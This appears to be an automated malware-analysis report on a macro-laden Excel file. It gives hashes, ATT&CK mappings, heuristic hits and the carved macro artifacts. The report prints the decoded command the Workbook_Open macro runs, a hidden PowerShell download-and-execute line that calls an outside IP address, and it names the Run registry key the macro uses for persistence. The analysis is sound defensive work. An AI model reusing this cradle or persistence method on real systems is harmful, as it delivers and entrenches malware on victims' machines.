Office (OOXML) / .XLSM malware analysis — malicious · 2d495d3aa455af8a

MALICIOUS

Office (OOXML) / .XLSM

439.7 KB Created: 2021-07-28 10:37:27 UTC Authoring application: Microsoft Excel 12.0000

MD5: 00fd628ae5343ac65b240500485f8da9 SHA-1: 1bb10dd76b4b0f294f01e5f5b02327739b5aedb5 SHA-256: 2d495d3aa455af8afcd85b4b040752e2beea98176188b89dd6a967bbbaa8a5c6

148 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The OOXML file contains a Workbook_Open macro that is triggered when the document is opened. This macro uses CreateObject to execute a command. The command is constructed by concatenating environment variables and cell values, which resolves to 'powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(\'http://185.173.172.194/a.ps1\')"'. This indicates the macro's intent is to download and execute a second-stage PowerShell payload from the specified URL. The macro also attempts to establish persistence by writing to the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy.

Heuristics 5

Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA project inside OOXML medium OOXML_VBA

Document contains vbaProject.bin — VBA macros present
Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `43a07f9d2abac943dba8cc0ab881ae098557512ba7083f6f705588572722971d`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	1111 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.
`vbaProject_00.bin` `ba9f3fe5dc86c370f22a071f2b78188e10b1529ad4df73903adc648eb52031bc`	vba-project	OOXML VBA project: xl/vbaProject.bin	9216 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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